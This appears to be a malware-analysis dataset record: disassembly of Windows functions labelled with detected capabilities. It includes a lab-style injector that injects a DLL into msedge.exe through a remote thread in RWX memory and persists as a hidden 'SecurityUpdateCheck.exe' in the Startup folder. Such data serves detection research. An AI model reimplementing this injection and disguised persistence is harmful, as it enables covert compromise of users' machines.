joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001670
Capabilities:
Compare security identifiers
Enumerate processes

Disassembly:
sub rsp, 0x2a8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x290], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1400016be
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateToolhelp32Snapshot_failed_with_error__lu_n
call fcn.140001250
xor eax, eax
jmp 0x14000180d
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001700
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Process32First_failed_with_error__lu_n
call fcn.140001250
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000180d
mov ecx, 0x44
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call fcn.1400014c0
mov dword [rsp + 0x20], 0
mov ecx, 0x44
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x40], rax
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400017d4
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call fcn.1400014c0
test eax, eax
je 0x1400017c9
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x1400017be
lea rax, [rsp + 0x7c]
lea rcx, str.msedge.exe
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x1400017ad
add rax, 2
test dx, dx
jne 0x140001797
xor eax, eax
jmp 0x1400017b2
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400017be
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0
jne 0x1400017f3
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001732
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140001e10
add rsp, 0x2a8
ret
Function at 0x140001830
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, str.C:UserspocDesktopeductf_lab_next_stage.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x40], rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov eax, eax
mov rcx, qword [rsp + 0x78]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x78]
mov r8, qword [rcx]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rax
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov rax, qword [rsp + 0x78]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000191c
lea rcx, str.remote_dll_magic_check_failed_n
call fcn.140001250
xor eax, eax
jmp 0x140001951
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx]
movzx eax, word [rcx + rax + 0x18]
cmp eax, 0x20b
je 0x14000194c
lea rcx, str.remote_dll_optional_header_magic_check_failed_n
call fcn.140001250
xor eax, eax
jmp 0x140001951
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001e10
add rsp, 0x68
ret
Function at 0x140001970
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0
mov eax, dword [rax + rcx + 0x88]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call fcn.1400013c0
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x14]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x24], 0
jmp 0x1400019ec
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
cmp rax, qword [rsp + 0x30]
jae 0x140001ae1
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call fcn.1400013c0
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x24]
mov eax, dword [rax + rcx*4]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call fcn.1400013c0
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call fcn.1400013c0
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x24]
movzx eax, word [rax + rcx*2]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call fcn.1400013c0
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
movzx ecx, word [rsp + 0x20]
mov eax, dword [rax + rcx*4]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
lea rcx, str.my_start
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140001aba
inc rax
test dl, dl
jne 0x140001aa7
xor eax, eax
jmp 0x140001abf
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140001adc
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
call fcn.1400013c0
mov rcx, qword [rsp + 0x68]
mov qword [rcx], rax
jmp 0x140001ae1
jmp 0x1400019e2
add rsp, 0x58
ret
Function at 0x140001af0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x78
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x88]
call fcn.140001970
cmp qword [rsp + 0x58], 0
jne 0x140001b59
lea rcx, str.get_reflectivce_loader_offset_failed_n
call fcn.140001250
xor eax, eax
jmp 0x140001c62
mov r8d, dword [rsp + 0x80]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001b96
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcess_failed___lu
call fcn.140001250
xor eax, eax
jmp 0x140001c62
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rsp + 0x90]
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x90]
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001c03
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WriteProcessMemory_failed___lu
call fcn.140001250
xor eax, eax
jmp 0x140001c62
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r8, qword [rsp + 0x50]
mov edx, dword [rsp + 0x60]
lea rcx, str.remote_thread_id:__lu__loader_address:__p
call fcn.140001250
mov eax, 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001e10
add rsp, 0x78
ret
Function at 0x140001d10
Capabilities:
Copy file
Get session user name
Set file attributes

Disassembly:
sub rsp, 0x278
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov r8d, 0x104
lea rdx, [rsp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x140001d54
jmp 0x140001de6
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x140001d6c
jmp 0x140001de6
mov eax, dword [rsp + 0x20]
add eax, 0x64
add eax, dword [rsp + 0x30]
mov eax, eax
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x30]
lea eax, [rax + rcx + 0x64]
mov eax, eax
lea r9, [rsp + 0x40]
lea r8, str.C:Users_sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupSecurityUpdateCheck.exe
mov edx, eax
mov rcx, qword [rsp + 0x28]
call fcn.140001340
xor r8d, r8d
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x140001dd6
jmp 0x140001de6
mov edx, 0x22
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001e10
add rsp, 0x278
ret

Function at 0x1400026e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000272e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000272e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000272e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000272e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000272e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002730
xor al, al
add rsp, 0x28
ret
Function at 0x1400066f0
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x490
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x470], rbx
mov qword [rbp + 0x480], rsi
mov qword [rbp + 0x488], rdi
mov rax, qword [0x14005b010]
xor rax, rbp
mov qword [rbp + 0x440], rax
mov rdi, rdx
mov dword [rbp], 0x438
mov edx, dword [0x14005b5f0]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
xor r14d, r14d
movabs r15, 0xffffffffffffff0
lea rcx, [rbp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x140006770
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x1400067ea
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000679b
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140048820
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x1400067ea
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], r14
xor edx, edx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x30]
mov r9d, 0xffffffff
mov byte [rbx], r14b
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rbx, r14
jmp 0x1400067ed
mov rbx, r14
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
jb 0x1400067fa
mov rdx, qword [rdi]
sub rdx, rbx
nop dword [rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x140006812
inc rbx
test eax, eax
jne 0x140006800
test ecx, ecx
mov rcx, rsi
je 0x140006872
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x140006760
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000686e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140006869
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400068f5
mov rcx, r8
call fcn.140047c04
xor eax, eax
jmp 0x1400068b5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
mov rbx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400068b2
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400068ad
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400068f5
mov rcx, r8
call fcn.140047c04
mov rax, rbx
mov byte [rdi], r14b
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r14
mov rcx, qword [rbp + 0x440]
xor rcx, rbp
call fcn.1400475f0
mov rbx, qword [rbp + 0x470]
mov rsi, qword [rbp + 0x480]
mov rdi, qword [rbp + 0x488]
lea rsp, [rbp + 0x450]
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140006ad0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x290
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x270], rbx
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], rdi
mov rax, qword [0x14005b010]
xor rax, rbp
mov qword [rbp + 0x240], rax
mov rdi, rdx
mov dword [rbp], 0x238
xor edx, edx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor r14d, r14d
movabs r15, 0xffffffffffffff0
nop word [rax + rax]
lea rcx, [rbp + 0x2c]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x140006b50
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x140006bca
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x140006b7b
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140048820
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x140006bca
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], r14
xor edx, edx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x2c]
mov r9d, 0xffffffff
mov byte [rbx], r14b
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rbx, r14
jmp 0x140006bcd
mov rbx, r14
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
jb 0x140006bda
mov rdx, qword [rdi]
sub rdx, rbx
nop dword [rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x140006bf2
inc rbx
test eax, eax
jne 0x140006be0
test ecx, ecx
mov rcx, rsi
je 0x140006c52
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006b40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140006c4e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140006c49
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006cd3
mov rcx, r8
call fcn.140047c04
xor eax, eax
jmp 0x140006c93
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
mov ebx, dword [rbp + 8]
cmp rdx, 0x10
jb 0x140006c91
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140006c8c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006cd3
mov rcx, r8
call fcn.140047c04
mov eax, ebx
mov byte [rdi], r14b
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r14
mov rcx, qword [rbp + 0x240]
xor rcx, rbp
call fcn.1400475f0
mov rbx, qword [rbp + 0x270]
mov rsi, qword [rbp + 0x280]
mov rdi, qword [rbp + 0x288]
lea rsp, [rbp + 0x250]
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140009770
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400097cd
lea rbx, [0x14004bfc0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400097b4
cmp r10, 2
jb 0x1400097b4
cmp byte [r9], r8b
jne 0x1400097b4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140009790
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000980f
lea rbx, [0x14004bfc0]
cmp r8b, 0x23
jne 0x1400097f3
cmp byte [r9], r8b
jne 0x1400097f3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400097e0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140009950
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000996a
mov qword [r8], 0
lea rdx, [0x140051550]
call fcn.140009820
mov rbx, rax
test rax, rax
jne 0x14000998a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140009a61
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140009a61
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140009a61
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140009a61
cmp rdi, 0xffffffffffffffff
je 0x140009a61
mov rax, qword [0x14005c208]
test rax, rax
je 0x1400099fe
inc dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140009a61
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140009a4e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x14005c208]
test rax, rax
je 0x140009a43
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140009a6a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140009a5c
mov qword [r14], rdi
mov rax, rsi
jmp 0x140009a6c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14000d060
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xf0]
lea r11, [0x14004bfc0]
mov rax, qword [rcx + 0xf8]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x3f40], ebx
jne 0x14000d0f6
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.140020ab0
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x140019b10
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14005b010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x14005c208]
mov edi, ecx
cmp byte [rbx + 0x4a9d], 0
jne 0x140019b71
cmp byte [rbx + 0x4a9e], 0
jne 0x140019b71
movsx r9d, word [rbx + 0x5bc2]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.1400095d0
test dil, 1
je 0x140019c9f
jmp 0x140019bfa
movss xmm1, dword [rbx + 0x389c]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5bc2]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x140052208]
mulss xmm1, dword [0x1400521fc]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xe08]
addss xmm1, dword [rbx + 0xe0c]
mov qword [rbx + 0x47e8], rax
mov dword [rbx + 0x47d4], 1
movss dword [rbx + 0x47e0], xmm0
movss dword [rbx + 0x47e4], xmm1
movss xmm0, dword [rbx + 0x3904]
mulss xmm0, dword [0x140052158]
or dword [rbx + 0x47d0], 0x41
movss dword [rbx + 0x4830], xmm0
call fcn.1400095d0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140019c50
lea r11, [0x14004bfc0]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x140019c33
cmp byte [r8], r9b
jne 0x140019c33
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140019c20
not ecx
call fcn.140010b50
test rax, rax
je 0x140019c9f
cmp byte [rax + 0xb6], 0
je 0x140019c9f
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, 0x10
inc word [rbx + 0x5bc2]
movsx r9d, word [rbx + 0x5bc2]
call fcn.1400095d0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.1400133f0
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400475f0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14001f3e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5ca8], 0
lea rbx, [rcx + 0x5cb0]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x14001f487
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14001f43a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.1400216e0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140009de0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5ca8]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5cb8]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x14005c200]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14001f48f
mov rcx, rbx
call fcn.140009de0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x14001f910
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x14005c208]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x14001f973
mov qword [rsp], rbx
lea rbx, [0x14004bfc0]
nop dword [rax]
cmp r9b, 0x23
jne 0x14001f953
cmp byte [r8], r9b
jne 0x14001f953
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x14001f940
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5c20]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x14001f9a7
mov r10, qword [r10 + 0x5c28]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x14001f9ae
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x14001f994
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x1400481fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140048246
mov ecx, 0x5a4d
